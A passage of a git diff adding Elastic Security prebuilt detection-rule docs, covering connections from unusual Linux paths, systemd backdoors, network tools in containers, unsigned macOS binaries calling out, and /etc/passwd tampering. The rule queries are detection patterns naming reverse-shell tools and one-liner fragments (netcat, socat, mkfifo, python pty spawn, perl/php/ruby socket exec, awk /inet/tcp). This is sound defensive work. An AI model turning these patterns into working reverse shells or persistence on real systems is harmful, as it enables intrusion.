https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete “Setup and Run Filebeat” information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Packetbeat Setup* + +Packetbeat is a real-time network packet analyzer that you can use for application monitoring, performance analytics, and threat detection. Packetbeat works by capturing the network traffic between your application servers, decoding the application layer protocols (HTTP, MySQL, Redis, and so on), correlating the requests with the responses, and recording the interesting fields for each transaction. + + +*The following steps should be executed in order to add the Packetbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/packetbeat/current/setup-repositories.html[helper guide]. +- To run Packetbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/packetbeat/current/running-on-docker.html[helper guide]. +- For quick start information for Packetbeat refer to the https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-installation-configuration.html[helper guide]. +- For complete “Setup and Run Packetbeat” information refer to the https://www.elastic.co/guide/en/beats/packetbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:network and event.action:(connection_attempted or ipv4_connection_attempt_event) and +process.executable : ( + /etc/crontab or /etc/rc.local or ./* or /boot/* or /dev/shm/* or /etc/cron.*/* or /etc/init.d/* or /etc/rc*.d/* or + /etc/update-motd.d/* or /home/*/.* or /tmp/* or /usr/lib/update-notifier/* or /var/log/* or /var/tmp/* +) and process.name : * and +not ( + process.executable : ( + /tmp/newroot/* or /tmp/snap.rootfs* or /etc/cron.hourly/BitdefenderRedline or /tmp/go-build* or /srv/snp/docker/* or + /run/containerd/* or /tmp/.mount* or /run/k3s/containerd/* or /tmp/selenium* or /tmp/tmp.*/juliainstaller or + /tmp/.criu.mntns* or /home/*/.local/share/containers/* or /etc/update-motd.d/* + ) or + source.ip:(10.0.0.0/8 or 127.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16) or + process.name : ( + apt or chrome or curl or dnf or dockerd or dpkg or firefox-bin or git-remote-https or java or kite-update or + kited or node or rpm or saml2aws or selenium-manager or solana-validator or wget or yum or ansible* or aws* or + php* or pip* or python* or steam* or terraform* or filebeat or apk or cursor or http + ) or + destination.ip:( + 0.0.0.0 or 10.0.0.0/8 or 100.64.0.0/10 or 127.0.0.0/8 or 169.254.0.0/16 or 172.16.0.0/12 or 192.0.0.0/24 or + 192.0.0.0/29 or 192.0.0.10/32 or 192.0.0.170/32 or 192.0.0.171/32 or 192.0.0.8/32 or 192.0.0.9/32 or 192.0.2.0/24 or + 192.168.0.0/16 or 192.175.48.0/24 or 192.31.196.0/24 or 192.52.193.0/24 or 192.88.99.0/24 or 198.18.0.0/15 or + 198.51.100.0/24 or 203.0.113.0/24 or 224.0.0.0/4 or 240.0.0.0/4 or "::1" or "FE80::/10" or "FF00::/8" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-network-connection-via-systemd.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-network-connection-via-systemd.asciidoc new file mode 100644 index 0000000000..42839fb95a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-network-connection-via-systemd.asciidoc @@ -0,0 +1,214 @@ +[[prebuilt-rule-8-19-34-suspicious-network-connection-via-systemd]] +=== Suspicious Network Connection via systemd + +Detects suspicious network events executed by systemd, potentially indicating persistence through a systemd backdoor. Systemd is a system and service manager for Linux operating systems, used to initialize and manage system processes. Attackers can backdoor systemd for persistence by creating or modifying systemd unit files to execute malicious scripts or commands, or by replacing legitimate systemd binaries with compromised ones, ensuring that their malicious code is automatically executed at system startup or during certain system events. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Command and Control +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Network Connection via systemd* + + +Systemd is a critical component in Linux, managing system processes and services. Adversaries exploit it by altering unit files or replacing binaries to ensure malicious scripts run at startup, achieving persistence. The detection rule identifies unusual network activities initiated by systemd, flagging potential backdoor usage by monitoring specific processes and network attempts, thus aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the process details to identify the specific script or command executed by systemd, focusing on the process names such as "python*", "php*", "perl", "ruby", "lua*", "openssl", "nc", "netcat", "ncat", "telnet", "awk". +- Examine the parent process information to confirm that the suspicious process was indeed initiated by systemd, ensuring the parent process name is "systemd". +- Investigate the network connection attempt details, including the destination IP address and port, to determine if the connection is to a known malicious or suspicious endpoint. +- Check the process executable path to ensure it is not a known legitimate path, especially looking for unusual paths that might indicate a compromised binary, excluding "/tmp/newroot/bin/curl". +- Analyze the systemd unit files on the host to identify any unauthorized modifications or additions that could indicate persistence mechanisms. +- Correlate the event with other security alerts or logs from the same host to identify any patterns or additional indicators of compromise. +- Consult threat intelligence sources to gather more context on the IP addresses or domains involved in the network connection attempt. + + +*False positive analysis* + + +- Legitimate administrative scripts or maintenance tasks that use scripting languages like Python, PHP, or Perl may trigger the rule. To handle this, identify and document these scripts, then create exceptions for their specific process names or paths. +- Automated system monitoring tools that perform network checks using utilities like netcat or telnet might be flagged. Review these tools and whitelist their process names or executable paths to prevent false alerts. +- Custom applications or services that are legitimately started by systemd and initiate network connections could be misidentified. Verify these applications and add them to an allowlist based on their process names or parent entity IDs. +- Development or testing environments where developers frequently use scripting languages for network operations may cause false positives. Consider excluding these environments from monitoring or creating specific rules that account for their unique behaviors. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified in the alert, particularly those initiated by systemd that match the specified process names (e.g., python, php, perl). +- Review and restore any modified or suspicious systemd unit files to their original state, ensuring no unauthorized scripts or commands are set to execute at startup. +- Conduct a thorough scan of the affected system for additional indicators of compromise, focusing on persistence mechanisms and unauthorized network connections. +- Reinstall or verify the integrity of systemd binaries to ensure they have not been replaced or tampered with by malicious actors. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for systemd-related activities and network connections to detect similar threats in the future. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.parent.name == "systemd" and ( + process.name in ( + "openssl", "nc", "ncat", "netcat", "nc.openbsd", "nc.traditional", "socat", "busybox", "mkfifo", + "nohup", "setsid", "xterm", "telnet" + ) or + (process.name : "python*" and process.args : "-c" and process.args : ( + "*import*pty*spawn*", "*import*subprocess*call*" + )) or + (process.name : "perl*" and process.args : "-e" and process.args : "*socket*" and process.args : ( + "*exec*", "*system*" + )) or + (process.name : "ruby*" and process.args : ("-e", "-rsocket") and process.args : ( + "*TCPSocket.new*", "*TCPSocket.open*" + )) or + (process.name : "lua*" and process.args : "-e" and process.args : "*socket.tcp*" and process.args : ( + "*io.popen*", "*os.execute*" + )) or + (process.name : "php*" and process.args : "-r" and process.args : "*fsockopen*" and process.args : "*/bin/*sh*") or + (process.name == "node" and process.args == "-e" and process.args : "*spawn*sh*" and process.args : "*connect*") or + (process.name : ("awk", "gawk", "mawk", "nawk") and process.args : "*/inet/tcp/*") or + (process.name in ("rvim", "vim", "vimdiff", "rview", "view") and process.args == "-c" and process.args : "*socket*") + ) and + not ( + process.args in ("/usr/bin/pg_ctlcluster", "/usr/bin/pveproxy", "/usr/sbin/pveum", "/usr/bin/pveupdate") or + process.executable like ( + "/usr/local/cpanel/*/bin/perl", "/opt/puppetlabs/puppet/bin/ruby", "/opt/unified-monitoring-agent/embedded/bin/ruby" + ) or + process.command_line in ( + "/usr/bin/perl /usr/sbin/pveum realm sync planet", + "/usr/bin/perl -T /usr/bin/pveproxy start", "/usr/bin/perl /usr/bin/pveupdate" + ) + ) + ] by process.entity_id + [network where host.os.type == "linux" and event.action == "connection_attempted" and event.type == "start" and + not process.executable == "/tmp/newroot/bin/curl"] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Systemd Service +** ID: T1543.002 +** Reference URL: https://attack.mitre.org/techniques/T1543/002/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-network-tool-launched-inside-a-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-network-tool-launched-inside-a-container.asciidoc new file mode 100644 index 0000000000..b9f3066048 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-network-tool-launched-inside-a-container.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-34-suspicious-network-tool-launched-inside-a-container]] +=== Suspicious Network Tool Launched Inside A Container + +This rule detects commonly abused network utilities running inside a container. Network utilities like nc, nmap, dig, tcpdump, ngrep, telnet, mitmproxy, zmap can be used for malicious purposes such as network reconnaissance, monitoring, or exploitation, and should be monitored closely within a container. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sysdig.com/blog/cve-2021-25741-kubelet-falco/ + +*Tags*: + +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Command and Control +* Tactic: Reconnaissance +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Domain: Endpoint + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Network Tool Launched Inside A Container* + + +Containers are lightweight, portable units that encapsulate applications and their dependencies, often used to ensure consistent environments across development and production. Adversaries exploit network tools within containers for reconnaissance or lateral movement, leveraging utilities like `nc` or `nmap` to map networks or intercept traffic. The detection rule identifies these tools' execution by monitoring process starts and arguments, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Examine the process arguments to understand the specific command or options used, which may provide insight into the intent of the tool's execution. +- Check the container's creation and modification timestamps to determine if the container was recently deployed or altered, which could indicate suspicious activity. +- Investigate the user or service account associated with the process start event to assess if it aligns with expected behavior or if it might be compromised. +- Analyze network logs and traffic patterns from the container to identify any unusual outbound connections or data exfiltration attempts. +- Correlate the alert with other security events or logs from the same container or host to identify potential lateral movement or further malicious activity. + + +*False positive analysis* + + +- Development and testing environments often use network tools for legitimate purposes such as debugging or network configuration. To manage this, create exceptions for containers identified as part of these environments by tagging them appropriately and excluding them from the rule. +- Automated scripts or orchestration tools may trigger network utilities for routine checks or maintenance tasks. Identify these scripts and whitelist their associated container IDs or process names to prevent false alerts. +- Some monitoring solutions deploy containers with built-in network tools for performance analysis. Verify the legitimacy of these containers and exclude them from the rule by using specific labels or container IDs. +- Containers used for educational or training purposes might intentionally run network tools. Ensure these containers are marked and excluded from detection by setting up rules based on their unique identifiers or labels. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further network reconnaissance or lateral movement. This can be done by restricting its network access or stopping the container entirely. +- Conduct a thorough review of the container's logs and process history to identify any unauthorized access or data exfiltration attempts. Focus on the execution of the flagged network utilities. +- Remove any unauthorized or suspicious network tools from the container to prevent further misuse. Ensure that only necessary and approved utilities are present. +- Patch and update the container image to address any vulnerabilities that may have been exploited. Rebuild and redeploy the container using the updated image. +- Implement network segmentation to limit the container's access to sensitive resources and reduce the potential impact of similar threats in the future. +- Enhance monitoring and alerting for the execution of network utilities within containers, ensuring that any future occurrences are detected promptly. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or containers have been compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.entry_leader.entry_meta.type == "container" and process.name in ( + "nc.traditional", "nc", "ncat", "netcat", "nmap", "tcpdump", "tshark", "ngrep", "telnet", + "mitmproxy", "socat", "zmap", "masscan", "zgrab" +) and +not (process.name in ("nc.traditional", "nc", "ncat", "netcat") and process.args like ("-*z*", "localhost", "127.0.0.1")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Network Sniffing +** ID: T1040 +** Reference URL: https://attack.mitre.org/techniques/T1040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-outbound-network-connection-via-unsigned-binary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-outbound-network-connection-via-unsigned-binary.asciidoc new file mode 100644 index 0000000000..336f5e6583 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-outbound-network-connection-via-unsigned-binary.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-suspicious-outbound-network-connection-via-unsigned-binary]] +=== Suspicious Outbound Network Connection via Unsigned Binary + +Detects the execution of an unsigned or untrusted binary followed by an outbound network connection to a raw IP address on a non-standard port. Many malicious payloads will connect directly to C2 or a payload server using non-standard ports. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Outbound Network Connection via Unsigned Binary* + + +Unsigned or untrusted binaries making outbound network connections to raw IP addresses on non-standard ports is a significant indicator of malware activity. Legitimate macOS applications are typically code-signed by Apple or identified developers, while malware often lacks valid signatures. This detection rule identifies this suspicious combination of unsigned binaries with network activity to detect potential command and control communication or data exfiltration attempts. + + +*Possible investigation steps* + + +- Review the process.executable and process.hash fields to identify the unsigned binary and search for its hash in threat intelligence databases and malware repositories. +- Examine the process.code_signature fields to understand why the binary is untrusted, including whether it lacks a signature entirely or has an invalid or revoked certificate. +- Analyze the destination.ip and destination.port fields to identify the remote endpoint and research it in threat intelligence sources for known malicious infrastructure. +- Investigate the process.parent.executable and process.command_line to understand how the unsigned binary was launched and trace the execution chain to the initial access vector. +- Review file.creation and file.modification events to determine when and how the unsigned binary was placed on the system. +- Check for persistence mechanisms that may have been created by or for the unsigned binary, such as LaunchAgents, LaunchDaemons, or cron jobs. +- Correlate with other network events from the same host to identify patterns of C2 communication or additional indicators of compromise. + + +*False positive analysis* + + +- Custom internal tools developed in-house may be unsigned and require network access for legitimate business purposes. Verify with development teams and consider adding specific exclusions. +- Development builds and testing environments may use unsigned binaries during the software development lifecycle. Document these activities and create targeted exceptions. +- Open-source utilities compiled locally may not have code signatures. Evaluate these on a case-by-case basis and add to exclusion lists if verified safe. +- Homebrew and other package manager binaries are already excluded but verify that legitimate tools from these sources are not being flagged. + + +*Response and remediation* + + +- Immediately terminate the unsigned process and block the destination IP address at network perimeters and endpoint firewalls. +- Quarantine the unsigned binary for forensic analysis and malware reverse engineering. +- Conduct a comprehensive scan of the affected system to identify additional malware components, persistence mechanisms, or lateral movement indicators. +- Investigate how the unsigned binary was delivered to the system and remediate the initial access vector. +- Review other systems in the environment for the same binary hash or similar indicators of compromise. +- Implement application allowlisting policies to prevent unauthorized unsigned binaries from executing. +- Escalate to the incident response team for further investigation if the binary is confirmed malicious. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + (process.code_signature.trusted == false or process.code_signature.exists == false) and + process.args_count == 1 and + not process.executable like "/opt/homebrew/*"] + [network where host.os.type == "macos" and event.type == "start" and + destination.domain == null and + not destination.port in (443, 80, 53, 22, 25, 587, 993, 465, 8080, 8200, 9200) and + destination.port < 49152 and + not cidrmatch(destination.ip, "0.0.0.0", "240.0.0.0/4", "233.252.0.0/24", "224.0.0.0/4", + "198.19.0.0/16", "192.18.0.0/15", "192.0.0.0/24", "10.0.0.0/8", "127.0.0.0/8", + "169.254.0.0/16", "172.16.0.0/12", "192.0.2.0/24", "192.31.196.0/24", + "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "100.64.0.0/10", + "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", + "::1", "FE80::/10", "FF00::/8")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Standard Port +** ID: T1571 +** Reference URL: https://attack.mitre.org/techniques/T1571/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Gatekeeper Bypass +** ID: T1553.001 +** Reference URL: https://attack.mitre.org/techniques/T1553/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-passwd-file-event-action.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-passwd-file-event-action.asciidoc new file mode 100644 index 0000000000..20b62a47fe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-passwd-file-event-action.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-34-suspicious-passwd-file-event-action]] +=== Suspicious Passwd File Event Action + +Monitors for the generation of a passwd password entry via openssl, followed by a file write activity on the "/etc/passwd" file. The "/etc/passwd" file in Linux stores user account information, including usernames, user IDs, group IDs, home directories, and default shell paths. Attackers may exploit a misconfiguration in the "/etc/passwd" file permissions or other privileges to add a new entry to the "/etc/passwd" file with root permissions, and leverage this new user account to login as root. + +*Rule type*: eql + +*Rule indices*: + +* logs-auditd_manager.auditd-* +* logs-endpoint.events.file* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Auditd Manager +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Passwd File Event Action* + + +In Linux environments, the `/etc/passwd` file is crucial for managing user accounts. Adversaries may exploit vulnerabilities or misconfigurations to add unauthorized entries, potentially gaining root access. The detection rule monitors for the use of `openssl` to generate password entries and subsequent unauthorized modifications to the `/etc/passwd` file, flagging potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of 'openssl' with the 'passwd' argument by a non-root user (user.id != "0"). This can help identify the user attempting to generate a password entry. +- Examine the process tree to understand the parent process of the 'openssl' command and determine if it was initiated by a legitimate or suspicious process. +- Check the file modification event on '/etc/passwd' to verify if the file was altered by a non-root user (user.id != "0") and ensure the process.parent.pid is not 1, indicating it wasn't initiated by the init process. +- Investigate the context of the file write event by reviewing recent logs and system changes to identify any unauthorized modifications or anomalies in user account management. +- Correlate the event with other security alerts or logs to determine if there are additional indicators of compromise or related suspicious activities on the host. + + +*False positive analysis* + + +- System administrators or automated scripts may use openssl to manage user passwords without malicious intent. To handle this, identify and whitelist known administrative scripts or processes that perform legitimate password management tasks. +- Some legitimate software installations or updates might temporarily modify the /etc/passwd file. Monitor and document these activities to distinguish them from unauthorized changes, and consider creating exceptions for known software processes. +- Developers or testers might use openssl for password generation in non-production environments. Establish a policy to differentiate between production and non-production systems, and apply the rule more strictly in production environments. +- Scheduled maintenance tasks might involve legitimate modifications to the /etc/passwd file. Coordinate with IT teams to schedule these tasks and temporarily adjust monitoring rules during these periods to prevent false positives. +- In environments with multiple administrators, ensure that all legitimate administrative actions are logged and reviewed. Implement a process for administrators to report their activities, allowing for the creation of exceptions for known, non-threatening actions. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or privilege escalation attempts. +- Terminate any suspicious processes related to `openssl` or unauthorized modifications to the `/etc/passwd` file to halt ongoing malicious activities. +- Conduct a thorough review of the `/etc/passwd` file to identify and remove any unauthorized entries, especially those with root privileges. +- Reset passwords for all user accounts on the affected system to ensure no compromised credentials are used for further attacks. +- Restore the `/etc/passwd` file from a known good backup if unauthorized changes are detected and cannot be manually rectified. +- Escalate the incident to the security operations team for a comprehensive investigation into potential system vulnerabilities or misconfigurations that allowed the attack. +- Implement enhanced monitoring and alerting for similar activities, focusing on unauthorized use of `openssl` and modifications to critical system files like `/etc/passwd`. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend and Auditd Manager. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete 